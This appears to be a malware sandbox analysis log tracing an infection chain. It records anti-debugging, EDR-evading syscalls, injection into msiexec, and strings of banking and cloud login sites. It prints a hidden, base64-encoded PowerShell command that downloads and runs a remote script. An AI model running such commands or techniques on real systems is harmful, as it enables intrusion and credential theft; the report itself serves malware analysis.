Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	API coverage: 7.1 %
Source: C:\Users\user\AppData\Roaming\Driver\BLZFBFHKHWJ\Setup.exe	API coverage: 6.1 %
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	API coverage: 7.1 %
Source: C:\Users\user\AppData\Roaming\Driver\BLZFBFHKHWJ\Setup.exe	API coverage: 6.1 %

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4500	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6204	Thread sleep count: 3968 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5560	Thread sleep count: 5813 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7196	Thread sleep time: -21213755684765971s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7212	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 1876	Thread sleep time: -180000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5244	Thread sleep count: 2354 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1864	Thread sleep count: 455 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3660	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior

Source: C:\Windows\SysWOW64\msiexec.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\AppData\Roaming\Driver\BLZFBFHKHWJ\Setup.exe	Code function: 7_2_00007FF70C271F90 FindFirstFileExW,	7_2_00007FF70C271F90
Source: C:\Users\user\AppData\Roaming\Driver\BLZFBFHKHWJ\Setup.exe	Code function: 7_2_00007FF70C257A9C FindFirstFileA,FindNextFileA,FindClose,	7_2_00007FF70C257A9C
Source: C:\Users\user\AppData\Roaming\Driver\BLZFBFHKHWJ\Setup.exe	Code function: 11_2_00007FF7AEEB1F90 FindFirstFileExW,	11_2_00007FF7AEEB1F90
Source: C:\Users\user\AppData\Roaming\Driver\BLZFBFHKHWJ\Setup.exe	Code function: 11_2_00007FF7AEE97A9C FindFirstFileA,FindNextFileA,FindClose,	11_2_00007FF7AEE97A9C

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData	Jump to behavior

Source: msiexec.exe, 0000000E.00000003.3459964496.0000000005455000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: Setup.exe, 0000000F.00000002.3352405472.0000000002C24000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: http://www.vmware.com/0
Source: msiexec.exe, 0000000E.00000003.3459964496.0000000005455000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696428655f
Source: msiexec.exe, 0000000E.00000003.3459964496.0000000005455000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: Setup.exe, 0000000F.00000002.3352405472.0000000002C24000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware, Inc.1!0
Source: msiexec.exe, 0000000E.00000003.3459964496.0000000005455000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: msiexec.exe, 0000000E.00000003.3459964496.0000000005455000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696428655
Source: msiexec.exe, 0000000E.00000003.3459964496.000000000545A000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696428655p
Source: msiexec.exe, 0000000E.00000003.3459964496.0000000005455000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: Setup.exe, 0000000F.00000002.3352405472.0000000002C24000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: http://www.vmware.com/0/
Source: msiexec.exe, 0000000E.00000002.3736738222.000000000077F000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.3665451431.000000000077F000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000002.3736738222.0000000000748000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Setup.exe, 0000000F.00000002.3352405472.0000000002C24000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware, Inc.1
Source: Setup.exe, 0000000F.00000002.3352405472.0000000002C24000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware, Inc.0
Source: msiexec.exe, 0000000E.00000003.3459964496.0000000005455000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: msiexec.exe, 0000000E.00000003.3459964496.0000000005455000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: msiexec.exe, 0000000E.00000003.3459964496.0000000005455000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: Setup.exe, 0000000F.00000002.3352324403.0000000002AC4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: .vmware"m
Source: msiexec.exe, 0000000E.00000003.3459964496.0000000005455000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: msiexec.exe, 0000000E.00000003.3459964496.0000000005455000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: msiexec.exe, 0000000E.00000003.3459964496.0000000005455000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: msiexec.exe, 0000000E.00000003.3459964496.0000000005455000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: msiexec.exe, 0000000E.00000003.3459964496.0000000005455000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: msiexec.exe, 0000000E.00000003.3459964496.0000000005455000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: powershell.exe, 00000003.00000002.3010070061.000001EE39D10000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: msiexec.exe, 0000000E.00000003.3459964496.0000000005455000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: msiexec.exe, 0000000E.00000003.3459964496.0000000005455000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: msiexec.exe, 0000000E.00000002.3736738222.000000000077F000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.3665451431.000000000077F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW$
Source: msiexec.exe, 0000000E.00000003.3459964496.0000000005455000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: msiexec.exe, 0000000E.00000003.3459964496.0000000005455000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: msiexec.exe, 0000000E.00000003.3459964496.0000000005455000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696428655
Source: Setup.exe, 0000000F.00000002.3352405472.0000000002C24000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: noreply@vmware.com0
Source: msiexec.exe, 0000000E.00000003.3459964496.0000000005455000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: msiexec.exe, 0000000E.00000003.3459964496.0000000005455000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: msiexec.exe, 0000000E.00000003.3459964496.0000000005455000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: msiexec.exe, 0000000E.00000003.3459964496.0000000005455000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: msiexec.exe, 0000000E.00000003.3459964496.0000000005455000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: msiexec.exe, 0000000E.00000003.3459964496.0000000005455000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: msiexec.exe, 0000000E.00000003.3459964496.0000000005455000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: msiexec.exe, 0000000E.00000003.3459964496.000000000545A000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: YNVMware
Source: msiexec.exe, 0000000E.00000003.3459964496.0000000005455000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: powershell.exe, 00000003.00000002.3011888346.000001EE39DF0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\Device\CdRom0\??\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\DosDevices\D:
Source: msiexec.exe, 0000000E.00000003.3459964496.0000000005455000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: msiexec.exe, 0000000E.00000003.3459964496.0000000005455000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: powershell.exe, 00000003.00000002.3011888346.000001EE39DF0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\?\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\//"
Source: msiexec.exe, 0000000E.00000003.3459964496.0000000005455000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe

Code function: 6_2_004030A8 IsDebuggerPresent,_crt_debugger_hook,SetUnhandledExceptionFilter,UnhandledExceptionFilter,_crt_debugger_hook,GetCurrentProcess,TerminateProcess,

6_2_004030A8

Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe

Code function: 6_2_00401CB0 GetModuleHandleA,LoadLibraryA,GetProcAddress,GetProcAddress,OutputDebugStringA,__iob_func,fprintf,

6_2_00401CB0

Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe

Code function: 6_2_004022C0 free,free,VirtualFree,free,GetProcessHeap,HeapFree,

6_2_004022C0

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	Code function: 6_2_004030A8 IsDebuggerPresent,_crt_debugger_hook,SetUnhandledExceptionFilter,UnhandledExceptionFilter,_crt_debugger_hook,GetCurrentProcess,TerminateProcess,	6_2_004030A8
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	Code function: 6_2_00402CAD SetUnhandledExceptionFilter,	6_2_00402CAD
Source: C:\Users\user\AppData\Roaming\Driver\BLZFBFHKHWJ\Setup.exe	Code function: 7_2_00007FF70C25AFE4 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	7_2_00007FF70C25AFE4
Source: C:\Users\user\AppData\Roaming\Driver\BLZFBFHKHWJ\Setup.exe	Code function: 7_2_00007FF70C25A92C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	7_2_00007FF70C25A92C
Source: C:\Users\user\AppData\Roaming\Driver\BLZFBFHKHWJ\Setup.exe	Code function: 7_2_00007FF70C25B1C8 SetUnhandledExceptionFilter,	7_2_00007FF70C25B1C8
Source: C:\Users\user\AppData\Roaming\Driver\BLZFBFHKHWJ\Setup.exe	Code function: 7_2_00007FF70C26B26C RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	7_2_00007FF70C26B26C
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	Code function: 10_2_004030A8 IsDebuggerPresent,_crt_debugger_hook,SetUnhandledExceptionFilter,UnhandledExceptionFilter,_crt_debugger_hook,GetCurrentProcess,TerminateProcess,	10_2_004030A8
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	Code function: 10_2_00402CAD SetUnhandledExceptionFilter,	10_2_00402CAD
Source: C:\Users\user\AppData\Roaming\Driver\BLZFBFHKHWJ\Setup.exe	Code function: 11_2_00007FF7AEE9AFE4 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	11_2_00007FF7AEE9AFE4
Source: C:\Users\user\AppData\Roaming\Driver\BLZFBFHKHWJ\Setup.exe	Code function: 11_2_00007FF7AEE9B1C8 SetUnhandledExceptionFilter,	11_2_00007FF7AEE9B1C8
Source: C:\Users\user\AppData\Roaming\Driver\BLZFBFHKHWJ\Setup.exe	Code function: 11_2_00007FF7AEE9A92C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	11_2_00007FF7AEE9A92C
Source: C:\Users\user\AppData\Roaming\Driver\BLZFBFHKHWJ\Setup.exe	Code function: 11_2_00007FF7AEEAB26C RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	11_2_00007FF7AEEAB26C

HIPS / PFW / Operating System Protection Evasion

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	NtProtectVirtualMemory: Direct from: 0x6AAF4127	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	NtProtectVirtualMemory: Direct from: 0x76EE7B2E	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	NtProtectVirtualMemory: Direct from: 0x6AB02BA0	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	NtProtectVirtualMemory: Direct from: 0x6C0045DB	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	NtProtectVirtualMemory: Direct from: 0x6AB02BFA	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	NtSetInformationThread: Direct from: 0x6ACB2FA8	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	NtQuerySystemInformation: Direct from: 0x6AB02D34	Jump to behavior

Maps a DLL or memory area into another process

Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	Section loaded: NULL target: C:\Windows\SysWOW64\more.com protection: read write			Jump to behavior
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	Section loaded: NULL target: C:\Windows\SysWOW64\more.com protection: read write			Jump to behavior

Writes to foreign memory regions

Source: C:\Windows\SysWOW64\more.com	Memory written: C:\Windows\SysWOW64\msiexec.exe base: C79330			Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Memory written: C:\Windows\SysWOW64\msiexec.exe base: 305008			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hIdDeN "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aWV4IChpd3IgJ2h0dHBzOi8vc2FuZGlzazIub3NzLWFwLW5vcnRoZWFzdC0yLmFsaXl1bmNzLmNvbS9iVUFtQ2F6Yy50eHQnIC1Vc2VCYXNpY1BhcnNpbmcpLkNvbnRlbnQ=')) \| iex"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe "C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	Process created: C:\Users\user\AppData\Roaming\Driver\BLZFBFHKHWJ\Setup.exe C:\Users\user\AppData\Roaming\Driver\BLZFBFHKHWJ\Setup.exe	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	Process created: C:\Windows\SysWOW64\more.com C:\Windows\SysWOW64\more.com	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	Process created: C:\Users\user\AppData\Roaming\Driver\BLZFBFHKHWJ\Setup.exe C:\Users\user\AppData\Roaming\Driver\BLZFBFHKHWJ\Setup.exe	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	Process created: C:\Windows\SysWOW64\more.com C:\Windows\SysWOW64\more.com	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Process created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\SysWOW64\msiexec.exe	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -w hidden "[text.encoding]::utf8.getstring([convert]::frombase64string('awv4ichpd3igj2h0dhbzoi8vc2fuzglzaziub3nzlwfwlw5vcnrozwfzdc0ylmfsaxl1bmnzlmnvbs9ivuftq2f6yy50ehqnic1vc2vcyxnpy1bhcnnpbmcplknvbnrlbnq=')) \| iex"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -w hidden "[text.encoding]::utf8.getstring([convert]::frombase64string('awv4ichpd3igj2h0dhbzoi8vc2fuzglzaziub3nzlwfwlw5vcnrozwfzdc0ylmfsaxl1bmnzlmnvbs9ivuftq2f6yy50ehqnic1vc2vcyxnpy1bhcnnpbmcplknvbnrlbnq=')) \| iex"			Jump to behavior

Source: C:\Users\user\AppData\Roaming\Driver\BLZFBFHKHWJ\Setup.exe

Code function: 7_2_00007FF70C278320 cpuid

7_2_00007FF70C278320

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
